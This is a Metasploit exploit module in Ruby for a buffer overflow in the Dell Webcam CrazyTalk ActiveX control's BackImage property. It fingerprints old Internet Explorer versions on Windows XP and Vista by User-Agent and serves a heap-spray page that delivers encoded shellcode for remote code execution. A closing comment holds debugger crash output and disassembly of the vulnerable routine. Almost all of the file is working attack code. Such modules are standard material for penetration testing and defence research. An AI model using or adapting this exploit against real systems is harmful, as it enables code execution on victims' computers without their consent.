modules/exploits/windows/browser/dell_webcam_crazytalk.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Dell Webcam's CrazyTalk component.
Specifically, when supplying a long string for a file path to the BackImage
property, an overflow may occur after checking certain file extension names,
resulting in remote code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
[ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],
[ 'EDB', '18621' ],
[ 'OSVDB', '80205']
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ],
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ],
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600'} ]
],
'Privileged' => false,
'DisclosureDate' => '2012-03-19',
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
print_status("Target set: #{my_target.name}")
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
randnop = rand_text_alpha(rand(100) + 1)
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
JS
js = heaplib(js, {:noobfu => true})
html = <<-EOS
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object>
<script>
var arg = "\x0c";
while (arg.length < 2000) arg += arg;
target.BackImage = arg.substring(0, 2000);
</script>
</html>
EOS
print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
The tmp path has the username that we cannot accurately control remotely, so there's
no point to try to overwrite the stack precisely.
targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"
prototype = "Invoke_Unknown BackImage As String"
memberName = "BackImage"
progid = "CRAZYTALK4Lib.CrazyTalk4"
argCount = 1
(d4c.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac
eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
<Unloaded_Ed20.dll>+0x41414140:
41414141 ?? ???
======
.text:03854F59 lea ecx, [esp+33Ch+Str1]
.text:03854F5D push offset a_asp ; ".asp"
.text:03854F62 push ecx ; Str1
.text:03854F63 mov [esp+344h+var_308], 0
.text:03854F68 call ebx ; _stricmp <-- Nope
.text:03854F71 lea edx, [esp+328h+Str1]
.text:03854F75 push offset a_php ; ".php"
.text:03854F7A push edx ; Str1
.text:03854F7B call ebx ; _stricmp <--- Still nope
.text:03854F84 mov ebx, [esp+328h+Dest]
.text:03854F8B lea eax, [esp+328h+Str1]
.text:03854F8F lea ecx, [esp+328h+Filename]
.text:03854F96 push eax
.text:03854F97 add esi, 3B44h
.text:03854F9D push ecx
.text:03854F9E push esi
.text:03854F9F push offset aSSS ; "%s%s%s"
.text:03854FA4 push ebx ; Dest
.text:03854FA5 call ds:sprintf
=end